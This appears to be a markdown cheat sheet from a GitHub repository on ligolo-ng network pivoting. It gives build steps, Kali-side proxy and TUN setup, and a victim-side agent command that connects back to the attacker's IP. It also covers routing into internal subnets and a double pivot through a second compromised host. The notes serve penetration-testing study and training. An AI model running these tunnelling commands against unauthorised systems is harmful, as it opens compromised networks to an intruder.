Skip to content

Latest commit

 

History

History
74 lines (51 loc) · 1.16 KB

ligolo.md

File metadata and controls

74 lines (51 loc) · 1.16 KB

LIGOLO

Pre-requisite

sudo apt install golang-go

Install

cd /opt
sudo git clone https://github.com/nicocha30/ligolo-ng
cd ligolo-ng
sudo go build -o agent cmd/agent/main.go
sudo go build -o proxy cmd/proxy/main.go

Creating a TUN Interface (kali)

sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up

Starting the Proxy Server (kali)

cd /opt/ligolo-ng
./proxy -selfcert

Agent (victim)

https://github.com/nicocha30/ligolo-ng/releases

./agent -connect kali_ip:11601 -ignore-cert &

Adding a new route on Proxy Server (kali)

sudo ip route add ip_to_reach_on_victim/24 dev ligolo

Start session (kali/proxy)

  • Type session
  • Select the session
  • Type start

Double Pivot

Creating a Listener (kali/proxy)

In the session

listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
listener_list

Connect Double Pivot box to Proxy Server (victim 2)

./agent.exe -connect 2nd_ip_of_victim_1:11601 -ignore-cert &

Adding a new route on Proxy Server (kali)

sudo ip route add ip_to_reach_on_victim_2/24 dev ligolo